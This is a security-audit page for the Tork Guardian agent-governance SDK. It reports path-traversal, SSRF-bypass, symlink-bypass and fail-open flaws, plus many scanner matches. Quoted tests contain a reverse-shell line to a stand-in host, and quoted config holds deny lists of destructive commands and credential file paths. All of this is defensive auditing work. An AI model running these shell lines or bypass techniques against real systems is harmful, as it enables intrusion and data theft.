Back to skill

Security audit

Tork Guardian

Security checks for vulnerabilities and agentic risk

Overview

This security-governance SDK is not clearly malicious, but it needs Review because its own protection controls can fail open or be bypassed.

Review before installing. Use only if you are comfortable sending prompts/content and security telemetry to Tork, avoid scanning untrusted source maps through scanFromSource, do not rely on it as a hard enforcement boundary until fail-closed behavior and path/network validation are fixed, and require dependency updates before production use.

Vulnerability Patterns
  • Insecure Skill Coding PracticesFinds exploitable flaws such as hardcoded secrets or command injection
  • Skill Instruction HijackingAlters the agent's session goals or safety constraints when the skill loads
  • Agent Memory PoisoningWrites attacker-controlled rules into memory that affect later sessions
  • Remote Payload Retrieval and ExecutionFetches external code whose behavior can change after review
  • Embedded Malicious CodeShips malicious scripts inside the skill and executes them locally
Findings (4)

T09 · Insecure Skill Coding Practices

Error
Location
src/scanner/api.ts:89
Finding

Arbitrary File Overwrite Through Scanner Filename Traversal

Content
View full analysis
, skillName?: string, ) { const tmpDir = fs.mkdtempSync(path.join(os.tmpdir(), 'tork-scan-src-')); try { for (const [filename, content] of Object.entries(files)) { const filePath = path.join(tmpDir, filename); const dir = path.dirname(filePath); fs.mkdirSync(dir, { recursive: true }); fs.writeFileSync(filePath, content); } const report = await scanner.scanSkill(tmpDir); if (skillName) { report.skillName = skillName; } return report; } finally { fs.rmSync(tmpDir, { recursive: true, force: true }); } } ``` ### Technical Analysis `scanFromSource()` treats each key in the caller-provided `files` object as a trusted relative filename. It joins that value to the temporary directory but does not reject `..` path components or verify that the normalized destination remains inside `tmpDir`. A filename containing enough parent-directory components can therefore escape the scanner's temporary directory. The function then creates parent directories and calls `fs.writeFileSync()` without exclusive-create or no-follow protections. Existing files writable by the process can consequently be replaced. The cleanup operation only removes `tmpDir`; files written after escaping that directory are not removed. The same vulnerable implementation is present in the distributed JavaScript referenced by the package entry point, so this is not limited to unused TypeScript source. ### Attack Path 1. An application exposes `scanFromSource()` to scan user-supplied source maps. 2. An attacker supplies a filename such as `../../../../path/to/writable-target`. 3. `path.join(tmpDir, filename) ...[truncated 1170 chars]
Remediation
View remediation

T09 · Insecure Skill Coding Practices

Error
Location
src/interceptors/tool.ts:65
Finding

Filesystem Governance Can Be Bypassed by Non-Canonical Paths and Symlinks

Content
View full analysis
0) { const isAllowed = config.allowedPaths.some((allowed) => path.startsWith(allowed)); if (!isAllowed) { return { allowed: false, reason: `Path "${path}" is not in the allowed paths list`, }; } } return { allowed: true }; } ``` ### Technical Analysis The authorization decision is based only on substring and string-prefix comparisons. The implementation does not: - Expand home-directory notation. - Normalize `.` and `..` components. - Resolve relative paths against a defined base directory. - Canonicalize existing paths. - Resolve or reject symbolic links. - Enforce path-component boundaries for allowlisted prefixes. - Require the path argument to be non-empty. As a result, equivalent filesystem paths may receive different decisions. For example, a blocked target such as `/etc/passwd` can be represented as `/etc/./passwd`, which does not include the exact `/etc/passwd` denylist string. An allowlist entry such as `/srv/safe` also incorrectly matches `/srv/safe-evil` because `startsWith()` does not enforce a directory boundary. A path inside an allowed directory may additionally be a symlink to a blocked location. The governor approves the lexical path even though the eventual filesystem operation reaches a different target. The function only returns an authorization deci ...[truncated 1329 chars]
Remediation
View remediation

T09 · Insecure Skill Coding Practices

Error
Location
src/handlers/network-access.ts:30
Finding

Private-Network and Cloud-Metadata Protection Can Be Bypassed

Content
View full analysis
p.test(host)); } function isRawIP(host: string): boolean { return /^\d{1,3}(\.\d{1,3}){3}$/.test(host) || /^[0-9a-f:]+$/i.test(host); } ``` ```typescript validateEgress(skillId: string, host: string, port: number): NetworkDecision { // SSRF prevention — block private networks if (this.policy.blockPrivateNetworks && isPrivateNetwork(host)) { return this.deny(skillId, 'egress', `Private network access blocked: ${host}`); } // Outbound port allowlist if (!this.policy.allowedOutboundPorts.includes(port)) { return this.deny(skillId, 'egress', `Outbound port ${port} is not allowed`); } ``` ### Technical Analysis The SSRF check compares the caller-supplied host string with a limited set of regular expressions. It does not resolve hostnames or validate the IP address selected for the actual connection. Consequently, a public-looking hostname that resolves to a private, loopback, or link-local address is not blocked. This includes hostnames resolving to the cloud instance metadata address `169.254.169.254`. DNS rebinding can also return a permitted address during one check and a private address when the downstream network client connects. The expressions additionally do not provide comprehensive parsing of alternate address representations, IPv4-mapped IPv6 addresses, malformed-but-accepted host syntax, or the full set of reserved and non-routable address range ...[truncated 1540 chars]
Remediation
View remediation

T09 · Insecure Skill Coding Practices

Error
Location
src/client.ts:25
Finding

Fail-Open Governance Allows Unredacted Sensitive Content

Content
View full analysis
{ try { const { data } = await this.http.post('/api/v1/govern', { content, options, }); return data; } catch (error: unknown) { // Fail-open: if Tork is unreachable, allow the request through console.warn( '[TorkGuardian] Governance API unreachable, failing open:', error instanceof Error ? error.message : error, ); return { action: 'allow', output: content, }; } } ``` The returned decision is consumed as follows: ```typescript const result = await client.govern(msg.content, { mode }); if (result.action === 'deny') { throw new GovernanceDeniedError( `PII detected in message ${i} (${msg.role}). Policy '${config.policy}' denies this request.`, result, ); } if (result.action === 'redact') { governedMessages[i] = { ...msg, content: result.output }; } ``` ### Technical Analysis All governance failures are converted into a successful `allow` response containing the original content. The caller cannot distinguish an affirmative policy decision from a timeout, connection failure, TLS error, authentication error, malformed response, or service outage. This behavior defeats both principal enforcement modes: - Under standard policy, content that should be redacted remains unchanged. - Under strict policy, content that should be denied is allowed because the synthetic response has `action: 'allow'`. The final `GovernedLLMRequest` can also report `governed: true` even though no remote governance decision was obtained. This creates a misleading security and compliance state. ### Attack Path 1. Sensitive content is submitted through `governLLM()`. 2. The governan ...[truncated 1093 chars]
Remediation
View remediation
Vulnerability Patterns
  • Privilege EscalationExcessive Permissions, Sudo/Root Execution, Credential Access
  • Supply ChainUnpinned Dependencies, External Script Fetching, Obfuscated Code
  • System Prompt LeakageDirect Leakage, Indirect Extraction, Tool-Based Exfiltration
  • Tool MisuseTool Parameter Abuse, Chaining Abuse, Unsafe Defaults
  • YARA SignaturesMalware Match, Webshell Match, Cryptominer Match
Findings (113)

Known Vulnerable Dependency: vitest==4.0.18 — 2 advisory(ies): CVE-2026-47429 (When Vitest UI server is listening, arbitrary file can be read and executed); CVE-2026-84373 (Vitest: Path Traversal / Arbitrary File Read via @vitest/mocker Redirect Mock)

Critical
Category
Supply Chain
Confidence
90% confidence
Finding

vitest 4.0.18 is explicitly present and has advisories for arbitrary file read and possible execution when the Vitest UI server is listening, plus the mocker traversal issue. In this package it is a dev dependency, but these are serious exposures for developer machines and CI if test UI or mocking features are reachable by attackers.

Content

No source excerpt is available for this finding.

Known Vulnerable Dependency: vitest==4.0.18 — 2 advisory(ies): CVE-2026-47429 (When Vitest UI server is listening, arbitrary file can be read and executed); CVE-2026-84373 (Vitest: Path Traversal / Arbitrary File Read via @vitest/mocker Redirect Mock)

Critical
Category
Supply Chain
Confidence
91% confidence
Finding

Vitest 4.0.18 is flagged with critical advisories involving arbitrary file read/execution, but it is only listed as a devDependency, so exposure is generally limited to developer or CI environments rather than end-user runtime. Even so, compromised test infrastructure can leak secrets, tamper with builds, or enable lateral movement in the development pipeline.

Content

No source excerpt is available for this finding.

YARA rule 'reverse_shell': Reverse shell patterns in scripts or source code [malware]

Critical
Category
YARA Match
Confidence
85% confidence
Finding

YARA rule matched a known malware signature (reverse shell, backdoor, ransomware, C2 framework, or info stealer).

Content

Scanner excerpt · tests/handlers/network-access.test.ts (reported line 182)May include surrounding context.

ts
rue);
      expect(h.validateEgress('s', 'c.com', 443).allowed).toBe(true);
      const result = h.validateEgress('s', 'd.com', 443);
      expect(result.allowed).toBe(false);
      expect(result.reason).toContain('Rate limit');
    });
  });

  describe('reverse shell detection', () => {
    it('denies egress after suspicious shell command', () => {
      handler.getMonitor().recordShellCommand('bash -i >& /dev/tcp/evil.com/4444 0>&1', 'skill-a');
      const result = handler.validateEgress('skill-a', 'evil.com', 443);
      expect(result.allowed).toBe(false);
      expect(result.reason).toContain('Reverse shell');
    });

    it('allows egress when shell commands are benign', () => {
      handler.getMonitor().recordShellCommand('echo hello', 'skill-a');
      expect(handler.validateEgress('skill-a', 'example.com', 443).allowed).toBe(true);
    });
  });

  describe('validateDNS', () => {
    it('allows valid hostnames', () => {
      expect(handler.validateDNS('s', 'api.openai.com'

Tool Parameter Abuse

High
Category
Tool Misuse
Confidence
90% confidence
Finding

Tool parameters are crafted to achieve unintended or unsafe behavior. Parameter abuse can bypass intended safety checks (e.g. shell=True, --force, dangerous glob patterns).

Content

Scanner excerpt · CHANGELOG.md (reported line 13)May include surrounding context.

md
'rm -rf',
        'mkfs',
        'dd if=',
        'chmod 777',
        ':(){:|:&};:',
        'shutdown',
        'reboot',

Tool Parameter Abuse

High
Category
Tool Misuse
Confidence
90% confidence
Finding

Tool parameters are crafted to achieve unintended or unsafe behavior. Parameter abuse can bypass intended safety checks (e.g. shell=True, --force, dangerous glob patterns).

Content

Scanner excerpt · README.md (reported line 153)May include surrounding context.

md
'rm -rf',
        'mkfs',
        'dd if=',
        'chmod 777',
        ':(){:|:&};:',
        'shutdown',
        'reboot',

Tool Parameter Abuse

High
Category
Tool Misuse
Confidence
90% confidence
Finding

Tool parameters are crafted to achieve unintended or unsafe behavior. Parameter abuse can bypass intended safety checks (e.g. shell=True, --force, dangerous glob patterns).

Content

Scanner excerpt · SKILL.md (reported line 153)May include surrounding context.

md
'rm -rf',
        'mkfs',
        'dd if=',
        'chmod 777',
        ':(){:|:&};:',
        'shutdown',
        'reboot',

Tool Parameter Abuse

High
Category
Tool Misuse
Confidence
90% confidence
Finding

Tool parameters are crafted to achieve unintended or unsafe behavior. Parameter abuse can bypass intended safety checks (e.g. shell=True, --force, dangerous glob patterns).

Content

Scanner excerpt · dist/config.js (reported line 14)May include surrounding context.

js
'rm -rf',
        'mkfs',
        'dd if=',
        'chmod 777',
        ':(){:|:&};:',
        'shutdown',
        'reboot',

Tool Parameter Abuse

High
Category
Tool Misuse
Confidence
90% confidence
Finding

Tool parameters are crafted to achieve unintended or unsafe behavior. Parameter abuse can bypass intended safety checks (e.g. shell=True, --force, dangerous glob patterns).

Content

Scanner excerpt · src/config.ts (reported line 19)May include surrounding context.

ts
'rm -rf',
        'mkfs',
        'dd if=',
        'chmod 777',
        ':(){:|:&};:',
        'shutdown',
        'reboot',

Credential Access

High
Category
Privilege Escalation
Confidence
95% confidence
Finding

Code accesses credential files (SSH keys, AWS credentials, etc.). This could indicate credential theft attempts.

Content

Scanner excerpt · dist/config.js (reported line 24)May include surrounding context.

js
]),
    allowedPaths: zod_1.z.array(zod_1.z.string()).default([]),
    blockedPaths: zod_1.z.array(zod_1.z.string()).default([
        '/etc/shadow',
        '/etc/passwd',
        '~/.ssh',
        '~/.aws',

Credential Access

High
Category
Privilege Escalation
Confidence
95% confidence
Finding

Code accesses credential files (SSH keys, AWS credentials, etc.). This could indicate credential theft attempts.

Content

Scanner excerpt · src/config.ts (reported line 29)May include surrounding context.

ts
]),
    allowedPaths: zod_1.z.array(zod_1.z.string()).default([]),
    blockedPaths: zod_1.z.array(zod_1.z.string()).default([
        '/etc/shadow',
        '/etc/passwd',
        '~/.ssh',
        '~/.aws',

Credential Access

High
Category
Privilege Escalation
Confidence
60% confidence
Finding

Code accesses credential files (SSH keys, AWS credentials, etc.). This could indicate credential theft attempts.

Content

Scanner excerpt · dist/config.js (reported line 25)May include surrounding context.

js
allowedPaths: zod_1.z.array(zod_1.z.string()).default([]),
    blockedPaths: zod_1.z.array(zod_1.z.string()).default([
        '/etc/shadow',
        '/etc/passwd',
        '~/.ssh',
        '~/.aws',
        '~/.env',

Credential Access

High
Category
Privilege Escalation
Confidence
60% confidence
Finding

Code accesses credential files (SSH keys, AWS credentials, etc.). This could indicate credential theft attempts.

Content

Scanner excerpt · src/config.ts (reported line 30)May include surrounding context.

ts
allowedPaths: zod_1.z.array(zod_1.z.string()).default([]),
    blockedPaths: zod_1.z.array(zod_1.z.string()).default([
        '/etc/shadow',
        '/etc/passwd',
        '~/.ssh',
        '~/.aws',
        '~/.env',

Credential Access

High
Category
Privilege Escalation
Confidence
60% confidence
Finding

Code accesses credential files (SSH keys, AWS credentials, etc.). This could indicate credential theft attempts.

Content

Scanner excerpt · tests/interceptors/tool.test.ts (reported line 34)May include surrounding context.

ts
allowedPaths: zod_1.z.array(zod_1.z.string()).default([]),
    blockedPaths: zod_1.z.array(zod_1.z.string()).default([
        '/etc/shadow',
        '/etc/passwd',
        '~/.ssh',
        '~/.aws',
        '~/.env',

Credential Access

High
Category
Privilege Escalation
Confidence
60% confidence
Finding

Code accesses credential files (SSH keys, AWS credentials, etc.). This could indicate credential theft attempts.

Content

Scanner excerpt · tests/interceptors/tool.test.ts (reported line 90)May include surrounding context.

ts
allowedPaths: zod_1.z.array(zod_1.z.string()).default([]),
    blockedPaths: zod_1.z.array(zod_1.z.string()).default([
        '/etc/shadow',
        '/etc/passwd',
        '~/.ssh',
        '~/.aws',
        '~/.env',

Credential Access

High
Category
Privilege Escalation
Confidence
60% confidence
Finding

Code accesses credential files (SSH keys, AWS credentials, etc.). This could indicate credential theft attempts.

Content

Scanner excerpt · tests/interceptors/tool.test.ts (reported line 93)May include surrounding context.

ts
allowedPaths: zod_1.z.array(zod_1.z.string()).default([]),
    blockedPaths: zod_1.z.array(zod_1.z.string()).default([
        '/etc/shadow',
        '/etc/passwd',
        '~/.ssh',
        '~/.aws',
        '~/.env',

Credential Access

High
Category
Privilege Escalation
Confidence
60% confidence
Finding

Code accesses credential files (SSH keys, AWS credentials, etc.). This could indicate credential theft attempts.

Content

Scanner excerpt · README.md (reported line 160)May include surrounding context.

md
'~/.aws',
        '~/.env',
        '.env',
        '.env.local',
        'credentials.json',
        'id_rsa',
        'id_ed25519',

Credential Access

High
Category
Privilege Escalation
Confidence
60% confidence
Finding

Code accesses credential files (SSH keys, AWS credentials, etc.). This could indicate credential theft attempts.

Content

Scanner excerpt · SKILL.md (reported line 160)May include surrounding context.

md
'~/.aws',
        '~/.env',
        '.env',
        '.env.local',
        'credentials.json',
        'id_rsa',
        'id_ed25519',

Credential Access

High
Category
Privilege Escalation
Confidence
60% confidence
Finding

Code accesses credential files (SSH keys, AWS credentials, etc.). This could indicate credential theft attempts.

Content

Scanner excerpt · dist/config.js (reported line 30)May include surrounding context.

js
'~/.aws',
        '~/.env',
        '.env',
        '.env.local',
        'credentials.json',
        'id_rsa',
        'id_ed25519',

Credential Access

High
Category
Privilege Escalation
Confidence
60% confidence
Finding

Code accesses credential files (SSH keys, AWS credentials, etc.). This could indicate credential theft attempts.

Content

Scanner excerpt · src/config.ts (reported line 35)May include surrounding context.

ts
'~/.aws',
        '~/.env',
        '.env',
        '.env.local',
        'credentials.json',
        'id_rsa',
        'id_ed25519',

Credential Access

High
Category
Privilege Escalation
Confidence
70% confidence
Finding

Code accesses credential files (SSH keys, AWS credentials, etc.). This could indicate credential theft attempts.

Content

Scanner excerpt · README.md (reported line 161)May include surrounding context.

md
'~/.env',
        '.env',
        '.env.local',
        'credentials.json',
        'id_rsa',
        'id_ed25519',
    ]),

Credential Access

High
Category
Privilege Escalation
Confidence
70% confidence
Finding

Code accesses credential files (SSH keys, AWS credentials, etc.). This could indicate credential theft attempts.

Content

Scanner excerpt · SKILL.md (reported line 161)May include surrounding context.

md
'~/.env',
        '.env',
        '.env.local',
        'credentials.json',
        'id_rsa',
        'id_ed25519',
    ]),

Credential Access

High
Category
Privilege Escalation
Confidence
70% confidence
Finding

Code accesses credential files (SSH keys, AWS credentials, etc.). This could indicate credential theft attempts.

Content

Scanner excerpt · dist/config.js (reported line 31)May include surrounding context.

js
'~/.env',
        '.env',
        '.env.local',
        'credentials.json',
        'id_rsa',
        'id_ed25519',
    ]),

Credential Access

High
Category
Privilege Escalation
Confidence
70% confidence
Finding

Code accesses credential files (SSH keys, AWS credentials, etc.). This could indicate credential theft attempts.

Content

Scanner excerpt · src/config.ts (reported line 36)May include surrounding context.

ts
'~/.env',
        '.env',
        '.env.local',
        'credentials.json',
        'id_rsa',
        'id_ed25519',
    ]),

Direct Prompt Extraction

High
Category
System Prompt Leakage
Confidence
85% confidence
Finding

Skill contains instructions that could directly expose system prompts, internal rules, or hidden instructions to users or external parties.

Content

Scanner excerpt · dist/index.js (reported line 73)May include surrounding context.

js
var scanner_1 = require("./scanner");
Object.defineProperty(exports, "SkillScanner", { enumerable: true, get: function () { return scanner_1.SkillScanner; } });
var rules_1 = require("./scanner/rules");
Object.defineProperty(exports, "SCAN_RULES", { enumerable: true, get: function () { return rules_1.SCAN_RULES; } });
var badge_1 = require("./scanner/badge");
Object.defineProperty(exports, "generateBadge", { enumerable: true, get: function () { return badge_1.generateBadge; } });
Object.defineProperty(exports, "generateBadgeMarkdown", { enumerable: true, get: function () { return badge_1.generateBadgeMarkdown; } });

YARA rule 'agent_skill_mcp_tool_poisoning_metadata': MCP/tool metadata poisoning indicators in tool schemas or skill manifests [agent_skills]

High
Category
YARA Match
Confidence
80% confidence
Finding

YARA rule matched a hack tool or exploit indicator (offensive tools, reconnaissance, privilege escalation, or exploit frameworks).

Content

Scanner excerpt · dist/scanner/rules.js (reported line 11)May include surrounding context.

js
"use strict";
Object.defineProperty(exports, "__esModule", { value: true });
exports.SCAN_RULES = void 0;
exports.SCAN_RULES = [
    // --- SEC rules: code-level security ---
    {
        id: 'SEC-001',
        name: 'eval() usage',
        severity: 'high',
        pattern: /\beval\s*\(/,
        description: 'Use of eval() allows arbitrary code execution and is a common injection vector.',
        remediation: 'Replace eval() with JSON.parse(), Function(), or a safe expression parser.',
    },
    {
        id: 'SEC-002',
        name: 'Function constructor',
        severity: 'high',
        pattern: /new\s+Function\s*\(/,
        description: 'The Function constructor creates functions from strings, enabling code injection.',
        remediation: 'Use static function definitions or a sandboxed evaluator.',
    },
    {
        id: 'SEC-003',
        name: 'child_process usage',

Static analysis

Detected: suspicious.dynamic_code_execution, suspicious.exposed_secret_literal, suspicious.prompt_injection_instructions

Dynamic code execution detected.

Critical
Code
suspicious.dynamic_code_execution
Location
dist/scanner/rules.js:8

Dynamic code execution detected.

Critical
Code
suspicious.dynamic_code_execution
Location
tests/scanner/index.test.ts:55

File appears to expose a hardcoded API secret or token.

Critical
Code
suspicious.exposed_secret_literal
Location
tests/scanner/index.test.ts:76

Prompt-injection style instruction pattern detected.

Warn
Code
suspicious.prompt_injection_instructions
Location
docs/SCANNER.md:18